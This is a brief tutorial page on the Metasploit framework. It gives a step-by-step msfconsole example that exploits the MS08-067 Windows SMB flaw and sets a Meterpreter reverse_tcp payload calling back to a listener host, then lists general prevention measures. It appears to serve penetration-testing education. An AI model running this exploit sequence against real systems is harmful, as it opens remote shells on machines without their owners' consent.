What is Metasploit?

Metasploit is a penetration testing framework that makes hacking simple. It's an essential tool in the penetration tester's arsenal, providing a set of dedicated exploits and an automated exploit system.

Metasploit Example

Here is a simple example of using Metasploit for remote code execution:

             // Start Metasploit
             msfconsole
     
             // Use an exploit
             use exploit/windows/smb/ms08_067_netapi
     
             // Set the RHOSTS value
             set RHOSTS 192.168.1.101
     
             // Set the payload
             set PAYLOAD windows/meterpreter/reverse_tcp
     
             // Set LHOST
             set LHOST 192.168.1.102
     
             // Run the exploit
             exploit
             

In this example, Metasploit is used to exploit a known vulnerability (ms08_067_netapi) in Windows' SMB service to gain remote code execution.

Prevention

Preventing remote code execution attacks involves proper input validation, sanitization, and keeping software up to date. This includes:

• Input validation: Validate user input by only accepting expected values.
• Use allow lists: Only allow known good input to pass through.
• Sanitize input: Remove or replace special characters from user input.
• Update software: Keep all software, especially exposed services, up to date to prevent exploitation of known vulnerabilities.